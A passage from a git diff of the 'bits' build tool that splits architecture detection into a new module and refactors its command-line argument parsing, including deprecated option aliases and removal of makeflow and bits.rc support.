disable_analytics(): - """Persist the analytics opt-out and return ``False``. - - Uses the shell rather than Python's ``os.makedirs`` because intermediate - directories may not be writeable in all environments. - """ - getstatusoutput("mkdir -p ~/.config/bits && touch ~/.config/bits/disable-analytics") - return False - diff --git a/bits_helpers/arch.py b/bits_helpers/arch.py new file mode 100644 index 00000000..42a1a73e --- /dev/null +++ b/bits_helpers/arch.py @@ -0,0 +1,326 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Architecture domain: platform detection, arch templates/tokens, and the +architecture-derived variables. Split out of utilities.py; pure logic plus the +distro/platform probes used by detectArch. No other bits_helpers module imports +from here except utilities (one-way), so this stays a leaf.""" + +import platform +import re + +from bits_helpers.cmd import getoutput + +SHARED_ARCH = "shared" +"""Sentinel value used in all paths for architecture-independent packages. + +When a recipe sets ``architecture: shared``, bits substitutes this string for +the real build architecture in every path component (install dir, tarball name, +TARS store, SPECS dir, ``$PKGPATH``). The result is that the package is +installed under ``sw/shared//-/`` and its tarball is +stored under ``TARS/shared/store/…``, making it reusable by any architecture +without rebuilding. + +Recipes that do **not** define ``architecture: shared`` are completely unaffected +— ``effective_arch()`` returns the real build architecture for them. +""" +# Mapping from bits architecture substrings to Docker --platform values. +# Matched by substring so that compound strings like "slc9_aarch64" or +# "ubuntu2204_x86-64" resolve correctly. +_BITS_ARCH_TO_DOCKER_PLATFORM = { + "x86-64": "linux/amd64", + "x86_64": "linux/amd64", + "aarch64": "linux/arm64", + "arm64": "linux/arm64", + "ppc64le": "linux/ppc64le", + "s390x": "linux/s390x", + "riscv64": "linux/riscv64", +} + + +def docker_platform_for_arch(bits_arch: str): + """Return the Docker ``--platform`` value for a bits architecture string. + + Examples:: + + docker_platform_for_arch("slc9_aarch64") -> "linux/arm64" + docker_platform_for_arch("slc9_x86-64") -> "linux/amd64" + docker_platform_for_arch("osx_arm64") -> "linux/arm64" + docker_platform_for_arch("unknown") -> None + + Returns ``None`` when the architecture substring is not recognised, which + lets callers decide whether to fall back to the Docker daemon default. + """ + for key, plat in _BITS_ARCH_TO_DOCKER_PLATFORM.items(): + if key in bits_arch: + return plat + return None + + +def effective_arch(spec: dict, build_arch: str) -> str: + """Return the architecture string to use in paths and tarball names. + + If the recipe declares ``architecture: shared`` the function returns + :data:`SHARED_ARCH` (``"shared"``), so that the package is installed in a + location that every build platform can read. + + For all other recipes (including those that omit the field entirely) the + function returns *build_arch* unchanged, preserving full backward + compatibility. + """ + if spec.get("architecture") == SHARED_ARCH: + return SHARED_ARCH + return build_arch + + +def compute_combined_arch(defaults_meta: dict, defaults_list: list, raw_arch: str) -> str: + """Return the effective architecture string for install paths. + + **Per-default ``append_arch`` (new mechanism)** + + When one or more loaded defaults files set ``append_arch: ``, only + those explicit values are appended to *raw_arch*, regardless of the + ``qualify_arch`` flag:: + + # defaults-gcc13.sh has append_arch: -gcc13 + # defaults-release.sh has no append_arch + # result for --default release::gcc13: + compute_combined_arch({"_append_arch_qualifiers": ["-gcc13"]}, + ["release", "gcc13"], "slc7_x86-64") + # → "slc7_x86-64-gcc13" + + This lets recipe authors opt individual defaults files into architecture + qualification while keeping the others transparent. The values from + ``append_arch`` are appended **verbatim**, in the same order as the defaults + chain (``--default a::b::c``); no separator is assumed. Each value must + carry its own separator if one is wanted (and may also be glued on with + none):: + + append_arch: -gcc15-dbg # -> "-gcc15-dbg" + append_arch: _gcc15 # -> "_gcc15" + append_arch: dbg # -> "dbg" (no separator, glued on) + + **Legacy ``qualify_arch`` (backward-compatible fallback)** + + When no defaults file uses ``append_arch``, the old behaviour applies: if + any loaded defaults file sets ``qualify_arch: true``, the install directory + is qualified with every non-``release`` default name joined by ``-``:: + + ---... + + When ``qualify_arch`` is absent or false and no ``append_arch`` values were + collected, *raw_arch* is returned unchanged. + + Examples:: + + compute_combined_arch({}, ["release"], "slc7_x86-64") + # → "slc7_x86-64" (neither mechanism active) + + compute_combined_arch({"qualify_arch": True}, ["dev", "gcc13"], "slc7_x86-64") + # → "slc7_x86-64-dev-gcc13" (legacy qualify_arch) + + compute_combined_arch({"qualify_arch": True}, ["release"], "slc7_x86-64") + # → "slc7_x86-64" (legacy, release-only → no suffix) + + compute_combined_arch({"_append_arch_qualifiers": ["-gcc13"]}, + ["release", "gcc13"], "slc7_x86-64") + # → "slc7_x86-64-gcc13" (per-default append_arch, separator in value) + """ + # --- New mechanism: per-default append_arch values ------------------------- + per_default = defaults_meta.get("_append_arch_qualifiers") + if per_default: + # Append each value verbatim: the separator (if any) lives in the value, so + # callers can join with "-", "_", or nothing at all. + return raw_arch + "".join(q for q in per_default if q) + + # --- Legacy mechanism: global qualify_arch flag ---------------------------- + if not defaults_meta.get("qualify_arch", False): + return raw_arch + qualifiers = [d for d in defaults_list if d != "release"] + if not qualifiers: + return raw_arch + return raw_arch + "-" + "-".join(qualifiers) +# Built-in architecture layout, used when no `architecture:` template is set in +# the defaults. Expressed with the same %(...)s substitution syntax bits uses +# elsewhere (sources, tags). Available keys: see arch_components(). +DEFAULT_ARCH_TEMPLATE = "%(os)s_%(machine)s" + + +def arch_components(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor): + """Return the substitution dict from which the architecture string is built. + + Keys: + os -- distro+version token, e.g. "ubuntu2510" (or "osx") + machine -- bits-canonical dashed CPU form, e.g. "x86-64" (or "arm64") + _machine -- uname/underscore CPU form, e.g. "x86_64" + + doDetectArch() assembles the default layout via DEFAULT_ARCH_TEMPLATE; a + defaults file may instead supply its own `architecture:` template referencing + these keys (e.g. "%(os)s_%(_machine)s" for ubuntu2510_x86_64, or + "%(_machine)s-%(os)s" for x86_64-ubuntu2510). + """ + if platformSystem == "Darwin": + processor = platformProcessor + if not processor: + processor = "x86-64" if platform.machine() == "x86_64" else "arm64" + os_token = "osx" + else: + distribution, version, flavour = platformTuple + distribution = distribution.lower() + # If platform.dist does not return something sensible, + # let's try with /etc/os-release + if distribution not in ["ubuntu", "red hat enterprise linux", "redhat", "centos", "almalinux", "rocky linux"] and hasOsRelease: + for x in osReleaseLines: + key, is_prop, val = x.partition("=") + if not is_prop: + continue + val = val.strip("\n \"") + if key == "ID": + distribution = val.lower() + if key == "VERSION_ID": + version = val + + if distribution == "ubuntu": + major, _, minor = version.partition(".") + version = major + minor + elif distribution == "debian": + # http://askubuntu.com/questions/445487/which-ubuntu-version-is-equivalent-to-debian-squeeze + debian_ubuntu = {"7": "1204", "8": "1404", "9": "1604", "10": "1804", "11": "2004"} + if version in debian_ubuntu: + distribution = "ubuntu" + version = debian_ubuntu[version] + elif distribution in ["redhat", "red hat enterprise linux", "centos", "almalinux", "rocky linux"]: + distribution = "slc" + + processor = platformProcessor + if not processor: + # Sometimes platform.processor returns an empty string + processor = getoutput(("uname", "-m")).strip() + + os_token = "{distro}{version}".format(distro=distribution, version=version.split(".")[0]) + + return { + "os": os_token, + "machine": processor.replace("_", "-"), + "_machine": processor.replace("-", "_"), + } + + +def apply_arch_template(template, components): + """Render an architecture *template* (``%(os)s``/``%(machine)s``/...) against + *components*. A literal string with no placeholders is returned unchanged.""" + try: + return template % components + except (KeyError, ValueError) as exc: + raise ValueError("invalid architecture template %r: %s" % (template, exc)) + + +def doDetectArch(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor): + return apply_arch_template( + DEFAULT_ARCH_TEMPLATE, + arch_components(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor)) + + +# ── architecture token matching (order- and separator-independent) ────────── +# Used so that custom layouts (ubuntu2510_x86_64, x86_64-ubuntu2510, ...) are +# recognised without --force-unknown-architecture, and so docker-image / S3 +# lookups match by content rather than by string position. +_ARCH_DISTRO_RE = re.compile( + r"(slc[0-9]+|ubuntu[0-9]*|ubt[0-9]*|osx|fedora[0-9]*|alma(?:linux)?[0-9]*" + r"|centos[0-9]*|rocky[0-9]*|rhel[0-9]*|el[0-9]+|debian[0-9]*)") +_ARCH_MACHINE_RE = re.compile(r"(x86[-_]64|aarch64|arm64|ppc64le|ppc64)") + + +def arch_distro_token(architecture): + """Return the distro token (e.g. 'ubuntu2510') found anywhere in *architecture*.""" + m = _ARCH_DISTRO_RE.search(architecture or "") + return m.group(0) if m else None + + +def arch_machine_token(architecture): + """Return the CPU token (e.g. 'x86-64'/'x86_64') found anywhere in *architecture*.""" + m = _ARCH_MACHINE_RE.search(architecture or "") + return m.group(0) if m else None + + +def normalise_arch_key(architecture): + """(distro, dashed-machine) key for order/separator-independent comparison.""" + mac = arch_machine_token(architecture) + return (arch_distro_token(architecture), mac.replace("_", "-") if mac else None) + +# Try to guess a good platform. This does not try to cover all the +# possibly compatible linux distributions, but tries to get right the +# common one, obvious one. If you use a Unknownbuntu which is compatible +# with Ubuntu 15.10 you will still have to give an explicit platform +# string. +# +# FIXME: we should have a fallback for lsb_release, since platform.dist +# is going away. +def detectArch(): + try: + with open("/etc/os-release") as osr: + osReleaseLines = osr.readlines() + hasOsRelease = True + except OSError: + osReleaseLines = [] + hasOsRelease = False + try: + if platform.system() == "Darwin": + if platform.machine() == "x86_64": + return "osx_x86-64" + else: + return "osx_arm64" + except Exception: + pass + try: + import distro + platformTuple = distro.linux_distribution() + platformSystem = platform.system() + platformProcessor = platform.processor() + if not platformProcessor or " " in platformProcessor: + platformProcessor = platform.machine() + return doDetectArch(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor) + except Exception: + return doDetectArch(hasOsRelease, osReleaseLines, ["unknown", "", ""], "", "") + + +def detectArchComponents(): + """Like detectArch(), but returns the {os, machine, _machine} substitution + dict (see arch_components) so a defaults `architecture:` template can be + rendered against the locally detected platform.""" + try: + with open("/etc/os-release") as osr: + osReleaseLines = osr.readlines() + hasOsRelease = True + except OSError: + osReleaseLines = [] + hasOsRelease = False + if platform.system() == "Darwin": + machine = "x86-64" if platform.machine() == "x86_64" else platform.machine() + return {"os": "osx", "machine": machine.replace("_", "-"), "_machine": machine.replace("-", "_")} + try: + import distro + platformProcessor = platform.processor() + if not platformProcessor or " " in platformProcessor: + platformProcessor = platform.machine() + return arch_components(hasOsRelease, osReleaseLines, distro.linux_distribution(), + platform.system(), platformProcessor) + except Exception: + return arch_components(hasOsRelease, osReleaseLines, ["unknown", "", ""], "", "") +def predefined_arch_vars(architecture): + """Predefined, architecture-derived boolean variables (truthy ones only). + + These let a recipe or a defaults ``variables:`` gate test the platform with + the same ``(?NAME)`` spelling used for flavours, e.g. a package requirement + ``pkg:(?osx)`` or a variable gated ``when: "(?openloops) && (?!osx)"``. Only + the *true* members are returned (an unset variable is already falsy via + :func:`_var_truthy`, so ``(?osx)`` is correctly false off macOS). On + ``osx_arm64`` this is ``{'osx': 'true', 'arm64': 'true', 'aarch64': 'true'}``. + """ + a = str(architecture or "") + is_osx = a.startswith("osx") + is_arm = ("arm64" in a) or ("aarch64" in a) + is_x86 = ("x86-64" in a) or ("x86_64" in a) + cand = {"osx": is_osx, "linux": not is_osx, + "arm64": is_arm, "aarch64": is_arm, "x86_64": is_x86} + return {k: "true" for k, v in cand.items() if v} diff --git a/bits_helpers/args.py b/bits_helpers/args.py index a8169f23..d5587027 100644 --- a/bits_helpers/args.py +++ b/bits_helpers/args.py @@ -2,12 +2,12 @@ # SPDX-License-Identifier: GPL-3.0-or-later import argparse -from bits_helpers.utilities import detectArch, normalise_multiple_options -from bits_helpers.utilities import (arch_distro_token, arch_machine_token, - normalise_arch_key, detectArchComponents, - apply_arch_template, readDefaults) +from bits_helpers.utilities import normalise_multiple_options +from bits_helpers.defaults import readDefaults +from bits_helpers.arch import (detectArch, arch_distro_token, arch_machine_token, + normalise_arch_key, detectArchComponents, + apply_arch_template) from bits_helpers.workarea import cleanup_git_log -import configparser import multiprocessing import re @@ -16,7 +16,7 @@ import shlex import subprocess as commands -from os.path import abspath, dirname, basename, exists +from os.path import abspath, dirname, basename import sys # Default workdir: fall back on "sw" if env is not set or empty @@ -65,7 +65,7 @@ def _host_online_cpus(): ``os.cpu_count()`` on platforms where sysfs is unavailable (macOS, WSL1). This value is injected as ``--cpuset-cpus`` into every Docker build - container so that ``make -j``, makeflow, and similar tools always see the + container so that ``make -j`` and similar tools always see the full host core count rather than a potentially narrower cgroup quota inherited from the GitLab runner process. @@ -121,13 +121,23 @@ def _docker_memory_args(): # cd to this directory before start DEFAULT_CHDIR = os.environ.get("BITS_CHDIR") or "." -# Search order for bits.rc config files (highest priority first). -# Each entry is evaluated at import time so that ~ is expanded once. -_BITS_RC_SEARCH_PATHS = [ - "bits.rc", - ".bitsrc", - os.path.expanduser("~/.bitsrc"), -] +# Default S3 content store for the store-operating actions (certify, compliance, +# gc, store-stats, publish). Precedence: CLI --remote-store (or a .bitsuse-recorded +# one) > $BITS_S3_STORE > this literal. Same env var the bitsStore launcher reads. +DEFAULT_S3_STORE = os.environ.get("BITS_S3_STORE") or "https://s3.cern.ch/lcgapp-bits-testing" + +# Worker count assumed when --parallel/--builders is given with no number. +BUILDERS_AUTO = 4 + + +class _WarnAliasAction(argparse.Action): + """Store the value (or const, for a nargs=0 flag); warn when a deprecated + spelling is used. The canonical spelling is the first option string.""" + def __call__(self, parser, namespace, values, option_string=None): + if option_string and option_string != self.option_strings[0]: + from bits_helpers.log import warning + warning("%s is deprecated; use %s.", option_string, self.option_strings[0]) + setattr(namespace, self.dest, self.const if self.nargs == 0 else values) def _parse_provider_policy(value: str) -> dict: @@ -142,9 +152,8 @@ def _parse_provider_policy(value: str) -> dict: and unrecognised position values are skipped with a warning printed to stderr. Returns an empty dict for an empty or missing *value*. - This is the sole parsing point used by both the ``bits.rc`` key - ``provider_policy`` and the ``--provider-policy`` CLI flag so that - both inputs share identical validation logic. + This is the sole parsing point for the ``--provider-policy`` CLI flag so + that all inputs share identical validation logic. """ from bits_helpers.log import warning as log_warning result = {} @@ -173,40 +182,6 @@ def _parse_provider_policy(value: str) -> dict: return result -def _read_bits_rc() -> dict: - """Return settings from the first bits.rc / .bitsrc / ~/.bitsrc found. - - Accepts either the simplified flat ``key = value`` layout (no section header) - or an explicit ``[bits]`` INI section; a header-less file is treated as the - ``[bits]`` section. All keys are lower-cased. Returns an empty dict when no - readable config file is present. - - Example bits.rc:: - - organisation = stacks - config_dir = . - """ - cfg = configparser.ConfigParser() - for path in _BITS_RC_SEARCH_PATHS: - if not exists(path): - continue - try: - with open(path) as fh: - content = fh.read() - except OSError: - return {} - # Tolerate a flat, header-less file: synthesise the [bits] section so the - # same parser handles both the flat and the explicit-[bits] layouts. - if not any(line.lstrip().startswith("[") for line in content.splitlines()): - content = "[bits]\n" + content - try: - cfg.read_string(content, source=path) - except configparser.Error: - return {} - break - return dict(cfg["bits"]) if "bits" in cfg else {} - - # This is syntactic sugar for the --dist option (which should really be called # --dist-tag). It can be either: # - A tag name @@ -219,8 +194,64 @@ def bits_string(s): return {"repo": repo, "ver": ver} +# Deprecated command aliases: old name -> replacement tokens. Single source of +# truth, so retiring one is deleting a row (aliases never appear in --help). Each +# prints a one-line deprecation warning and forwards to the new name. +DEPRECATED_ALIASES = { + "cleanup": ["prune"], +} + + +def _apply_deprecated_aliases(rest): + """Rewrite a leading deprecated subcommand alias in *rest* to its replacement + tokens, warning once. Only the subcommand slot (the first non-flag token) is + considered, so an option value that happens to equal an old name is left alone.""" + for i, tok in enumerate(rest): + if tok in DEPRECATED_ALIASES: + new = DEPRECATED_ALIASES[tok] + sys.stderr.write("warning: 'bits %s' is deprecated; use 'bits %s'\n" + % (tok, " ".join(new))) + return rest[:i] + new + rest[i + 1:] + if not tok.startswith("-"): + break # first non-flag token is the subcommand; not an alias + return rest + + def doParseArgs(): detectedArch = detectArch() + + # Shared adders for the cross-cutting options, so every action gets the same + # flag string, dest, metavar and default by construction (no per-action drift). + # Help stays per-action (passed in). config-dir also takes a per-action default + # because `bits init` places recipes under DEVELPREFIX, not BITS_REPO_DIR. + def add_architecture(p, help): + p.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", + default=detectedArch, help=help) + def add_work_dir(p, help): + p.add_argument("-w", "--work-dir", dest="workDir", metavar="WORKDIR", + default=DEFAULT_WORK_DIR, help=help) + def add_config_dir(p, help, default=None): + p.add_argument("-c", "--config-dir", "--config", dest="configDir", + metavar="CONFIGDIR", + default=os.environ.get("BITS_REPO_DIR", ".") if default is None else default, + help=help) + def add_chdir(p, help): + p.add_argument("-C", "--chdir", dest="chdir", metavar="DIR", + default=DEFAULT_CHDIR, help=help) + def add_defaults(p, help): + p.add_argument("--defaults", dest="defaults", metavar="DEFAULT", default="release", + help=help) + def add_search_path(p, help=("Comma-separated recipe sub-repos to search besides " + "CONFIGDIR (relative NAME -> /NAME.bits, " + "absolute used as-is). Seeds BITS_PATH; an explicit " + "$BITS_PATH wins.")): + p.add_argument("--search-path", dest="searchPath", metavar="NAMES", default=None, + help=help) + def add_remote_store(p, dest, help, default=DEFAULT_S3_STORE): + # Canonical --remote-store with --store kept as a deprecated alias (warns). + p.add_argument("--remote-store", "--store", dest=dest, metavar="URL", + default=default, action=_WarnAliasAction, help=help) + parser = argparse.ArgumentParser(epilog="""\ For help about each option, specify --help after the option itself. For complete documentation please refer to https://alisw.github.io/alibuild. @@ -231,10 +262,6 @@ def doParseArgs(): help="Print what would happen, without actually doing it.") subparsers = parser.add_subparsers(dest="action") - ''' - analytics_parser = subparsers.add_parser("analytics", help="turn on / off analytics", - description="Control analytics state.") - ''' subparsers.add_parser("architecture", help="display detected architecture", description="Display the detected architecture.") build_parser = subparsers.add_parser("build", help="build a package", @@ -242,8 +269,8 @@ def doParseArgs(): clean_parser = subparsers.add_parser("clean", help="clean up build area", description="Clean up the build area.") cleanup_parser = subparsers.add_parser( - "cleanup", - help="evict stale packages from a persistent workDir", + "prune", + help="evict stale packages from a persistent workDir (was: cleanup)", description=( "Evict packages from the persistent build workDir whose sentinel files " "have not been touched within the configured age window, and/or free space " @@ -267,11 +294,11 @@ def doParseArgs(): description="Display %(prog)s and architecture.") publish_parser = subparsers.add_parser( "publish", - help="copy, relocate, and stream a built package to a CVMFS ingestion spool", + help="copy, relocate, and hand a built package to cvmfs-prepub", description=( "Copies the immutable installation from WORKDIR, relocates it to the " - "final CVMFS target path, and streams the result to an ingestion spool " - "for content-addressed pre-staging before the CVMFS transaction." + "final CVMFS target path, and submits the result to the cvmfs-prepub " + "service (--prepub-url) for ingestion into CVMFS." ), ) certify_parser = subparsers.add_parser( @@ -284,27 +311,8 @@ def doParseArgs(): "is what clients trust for binary reuse (see docs/adr/0004)." ), ) - gc_parser = subparsers.add_parser( - "gc", - help="sweep unreferenced objects from the shared S3 store (reachability GC)", - description=( - "Reachability garbage collection (ADR-0004 §6): the roots are every " - "content hash in the verified signed common manifest; any store object " - "whose hash is not a root and is older than the grace period is swept. " - "Fail-closed: refuses to run if the manifest does not verify." - ), - ) - store_stats_parser = subparsers.add_parser( - "store-stats", - help="summarise S3 binary-store usage (per-arch + per-build/signed)", - description=( - "Walk the S3 binary store and write a store.json the Monitoring " - "dashboard consumes: per-architecture byte/object totals plus a " - "per-build (manifest) breakdown with a signed flag. Runs where bits " - "already has the S3 credentials + manifests, replacing the standalone " - "store-stats CI collector. Optionally pushes Prometheus gauges." - ), - ) + # `gc` and `store-stats` moved into the `store` group (Phase 3.4): they are now + # `bits store gc` / `bits store stats`, handled by the bitsStore tool. compliance_parser = subparsers.add_parser( "compliance", help="audit recipe licence metadata and the binary store", @@ -361,8 +369,8 @@ def doParseArgs(): "packages, and flags likely memory or parallelism problems." ), ) - stats_parser.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, - help="Build work area to read stats from (default: %(default)s).") + add_work_dir(stats_parser, + help="Build work area to read stats from (default: %(default)s).") stats_parser.add_argument("--package", dest="package", metavar="NAME", default=None, help="Show the resource timeline detail for a single package.") stats_parser.add_argument("--top", dest="top", type=int, default=10, metavar="N", @@ -384,12 +392,10 @@ def doParseArgs(): "recompiling." ), ) - import_parser.add_argument("-w", "--work-dir", dest="workDir", - default=DEFAULT_WORK_DIR, - help="Build work area (overlay defaults to /MODULES).") - import_parser.add_argument("-a", "--architecture", dest="architecture", - metavar="ARCH", default=detectedArch, - help="Architecture the deployment was built for (default: %(default)s).") + add_work_dir(import_parser, + help="Build work area (overlay defaults to /MODULES).") + add_architecture(import_parser, + help="Architecture the deployment was built for (default: %(default)s).") import_parser.add_argument("--modulepath", dest="importModulepath", metavar="DIR", default=None, help="MODULEPATH of the foreign deployment to harvest via modulecmd.") @@ -415,19 +421,17 @@ def doParseArgs(): import_parser.add_argument("--out", dest="importOut", metavar="DIR", default=None, help="Overlay root to write into (default: /MODULES).") - import_parser.add_argument("--force", dest="importForce", - action="store_true", + import_parser.add_argument("--force-overwrite", "--force", dest="importForce", + nargs=0, const=True, default=False, action=_WarnAliasAction, help="Stamp and write even if the release is not closed (deps missing).") - # Options for the analytics command - # analytics_parser.add_argument("state", choices=["on", "off"], help="Whether to report analytics or not") # Options for the build command build_parser.add_argument("pkgname", metavar="PACKAGE", nargs="+", help="One of the packages in CONFIGDIR. May be specified multiple times.") - build_parser.add_argument("--defaults", dest="defaults", default="release", metavar="DEFAULT", - help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") + add_defaults(build_parser, + help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") build_parser.add_argument("--flavour", "--flavor", dest="flavours", action="append", default=[], metavar="NAME[=VALUE]", @@ -437,10 +441,10 @@ def doParseArgs(): "into the build environment; they override a defaults `variables:` " "entry of the same name.")) - build_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help=("Build as if on the specified architecture. When used with --docker, build " - "inside a Docker image for the specified architecture. Default is the current " - "system architecture, which is '%(default)s'.")) + add_architecture(build_parser, + help=("Build as if on the specified architecture. When used with --docker, build " + "inside a Docker image for the specified architecture. Default is the current " + "system architecture, which is '%(default)s'.")) build_parser.add_argument("--force-unknown-architecture", dest="forceUnknownArch", action="store_true", help="Build on this system, even if it doesn't have a supported architecture.") build_parser.add_argument("-z", "--devel-prefix", nargs="?", dest="develPrefix", default=argparse.SUPPRESS, @@ -450,9 +454,11 @@ def doParseArgs(): build_parser.add_argument("-j", "--jobs", dest="jobs", type=int, default=multiprocessing.cpu_count(), help=("The number of parallel compilation processes to run. " "Default for this system: %(default)d.")) - build_parser.add_argument("--builders", dest="builders", type=int, default=1, - help=("The number of independent packages to build in parallel. " - "Default is: %(default)d.")) + build_parser.add_argument("--parallel", "--builders", dest="builders", type=int, + nargs="?", const=BUILDERS_AUTO, default=1, metavar="N", + help=("Build N independent packages in parallel. Given with no " + "number it uses %(const)d; omitted entirely the build is " + "serial. (--builders is a kept alias.)")) build_parser.add_argument("--oversubscribe", dest="oversubscribe", type=float, default=None, metavar="FACTOR", help=("CPU oversubscription factor (>= 1.0) for the per-builder " @@ -566,8 +572,6 @@ def doParseArgs(): "in multiple packages. The comment will only be stored if " "PACKAGE is compiled or downloaded during this run; if it " "already exists, this does not happen.")) - build_parser.add_argument("--makeflow", default=False, action="store_true", - help=("Use makeflow for paralle workflow execution. ")) build_parser.add_argument("--only-deps", dest="onlyDeps", default=False, action="store_true", help="Only build dependencies, not the main package (e.g. for caching)") @@ -587,7 +591,7 @@ def doParseArgs(): "Passed through verbatim -- separate multiple arguments " "with spaces, and make sure quoting is correct! Implies --docker. " "bits always appends --network=host and, unless already present, " - "--cpuset-cpus= so that make -j and makeflow " + "--cpuset-cpus= so that make -j " "see the full host core count. Pass --cpuset-cpus=... explicitly " "to override the automatic value.")) build_docker.add_argument("--container-use-workdir", dest="containerUseWorkDir", action="store_true", default=False, @@ -764,13 +768,6 @@ def doParseArgs(): build_remote.add_argument("--insecure", dest="insecure", action="store_true", help="Don't validate TLS certificates when connecting to an https:// remote store.") _add_s3_connection_opts(build_remote) - build_remote.add_argument("--pipeline", dest="pipeline", action="store_true", default=False, - help="""\ - (Requires --makeflow) Activates Options 1 and 4: split each package's Makeflow - rules into three targets (.build, .tar, .upload) so tarball creation and remote - upload run concurrently with downstream package builds. Silently ignored without - --makeflow. Has no effect when --write-store is not set. - """) build_remote.add_argument("--prefetch-workers", dest="prefetchWorkers", type=int, default=-1, metavar="N", help="""\ @@ -795,26 +792,17 @@ def doParseArgs(): list. Default: 1 (sequential, preserving existing behaviour). Works in all build modes. """) - build_remote.add_argument("--makeflow-jobs", dest="makeflowJobs", type=int, default=4, - metavar="N", - help="""\ - (Requires --makeflow) Maximum number of build jobs Makeflow runs in parallel - on the local machine (passed as --max-local N to makeflow). Each build job - itself uses all available CPU cores (controlled by -j / --jobs), so running - too many simultaneously causes CPU oversubscription and degrades performance. - Default: 4. Set to 0 to let Makeflow use its own default (number of CPU - cores, which typically causes severe oversubscription). - """) build_dirs = build_parser.add_argument_group(title="Customise bits directories") - build_dirs.add_argument("-C", "--chdir", metavar="DIR", dest="chdir", default=DEFAULT_CHDIR, - help=("Change to the specified directory before building. " - "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) - build_dirs.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, - help=("The toplevel directory under which builds should be done and build results " - "should be installed. Default '%(default)s'.")) - build_dirs.add_argument("-c", "--config-dir", "--config", dest="configDir", default=os.environ.get("BITS_REPO_DIR","."), - help="The directory containing build recipes. Default '%(default)s'.") + add_chdir(build_dirs, + help=("Change to the specified directory before building. " + "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) + add_work_dir(build_dirs, + help=("The toplevel directory under which builds should be done and build results " + "should be installed. Default '%(default)s'.")) + add_config_dir(build_dirs, + help="The directory containing build recipes. Default '%(default)s'.") + add_search_path(build_dirs) build_dirs.add_argument("--reference-sources", dest="referenceSources", metavar="MIRRORDIR", default="%(workDir)s/MIRROR", help=("The directory where reference git repositories will be cloned. " @@ -827,7 +815,8 @@ def doParseArgs(): help="Do not clean up build directories automatically after a build.") build_system = build_parser.add_mutually_exclusive_group() - build_system.add_argument("--always-prefer-system", dest="preferSystem", action="store_true", + build_system.add_argument("--prefer-system", "--always-prefer-system", dest="preferSystem", + nargs=0, const=True, default=False, action=_WarnAliasAction, help="Always use system packages when compatible.") build_system.add_argument("--no-system", dest="noSystem", nargs="?", const="*", default=None, metavar="PACKAGES", help="Never use system packages for the provided, command separated, PACKAGES, even if compatible.") @@ -883,7 +872,7 @@ def doParseArgs(): "recall the digest is recomputed and compared; a mismatch is a fatal error " "that indicates the file may have been tampered with in the remote store. " "Disabled by default for backward compatibility. " - "May also be enabled persistently with 'store_integrity = true' in bits.rc." + "Record it with 'bits use build --store-integrity' to enable it persistently." ), ) @@ -896,9 +885,8 @@ def doParseArgs(): "where POSITION is either 'prepend' or 'append' (case-insensitive). " "Example: --provider-policy bits-providers:prepend,myorg:append " "By default every provider uses 'append' (safe mode) regardless of " - "what its recipe declares. This flag (or the equivalent bits.rc key " - "'provider_policy') is the only way to grant a provider prepend " - "access." + "what its recipe declares. This flag is the only way to grant a " + "provider prepend access." ), ) @@ -918,28 +906,28 @@ def doParseArgs(): ) # Options for clean subcommand - clean_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help=("Clean up build results for this architecture. Default is the current system " - "architecture, which is '%(default)s'.")) + add_architecture(clean_parser, + help=("Clean up build results for this architecture. Default is the current system " + "architecture, which is '%(default)s'.")) clean_parser.add_argument("--aggressive-cleanup", dest="aggressiveCleanup", action="store_true", help="Delete as much build data as possible when cleaning up.") clean_dirs = clean_parser.add_argument_group(title="Customise bits directories") - clean_dirs.add_argument("-C", "--chdir", metavar="DIR", dest="chdir", default=DEFAULT_CHDIR, - help=("Change to the specified directory before cleaning up. " - "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) - clean_dirs.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, - help="The toplevel directory used in previous builds. Default '%(default)s'.") + add_chdir(clean_dirs, + help=("Change to the specified directory before cleaning up. " + "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) + add_work_dir(clean_dirs, + help="The toplevel directory used in previous builds. Default '%(default)s'.") # Options for the deps subcommand deps_parser.add_argument("package", metavar="PACKAGE", help="Calculate dependency tree for %(metavar)s.") - deps_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, - help=("Resolve dependencies as if on the specified architecture. When used with " - "--docker, use a Docker image for the specified architecture. Default is " - "the current system architecture, which is '%(default)s'.")) - deps_parser.add_argument("--defaults", dest="defaults", default="release", metavar="DEFAULT", - help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") + add_architecture(deps_parser, + help=("Resolve dependencies as if on the specified architecture. When used with " + "--docker, use a Docker image for the specified architecture. Default is " + "the current system architecture, which is '%(default)s'.")) + add_defaults(deps_parser, + help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") deps_parser.add_argument("--disable", dest="disable", default=[], metavar="PACKAGE", action="append", help=("Assume we're not building %(metavar)s and all its (unique) dependencies. " "You can specify this option multiple times or separate multiple arguments " @@ -970,12 +958,13 @@ def doParseArgs(): "Passed through verbatim -- separate multiple arguments " "with spaces, and make sure quoting is correct! Implies --docker.")) - deps_parser.add_argument_group(title="Customise bits directories") \ - .add_argument("-c", "--config-dir", "--config", dest="configDir", default=os.environ.get("BITS_REPO_DIR","."), - help="The directory containing build recipes. Default '%(default)s'.") + add_config_dir(deps_parser.add_argument_group(title="Customise bits directories"), + help="The directory containing build recipes. Default '%(default)s'.") + add_search_path(deps_parser) deps_system = deps_parser.add_mutually_exclusive_group() - deps_system.add_argument("--always-prefer-system", dest="preferSystem", action="store_true", + deps_system.add_argument("--prefer-system", "--always-prefer-system", dest="preferSystem", + nargs=0, 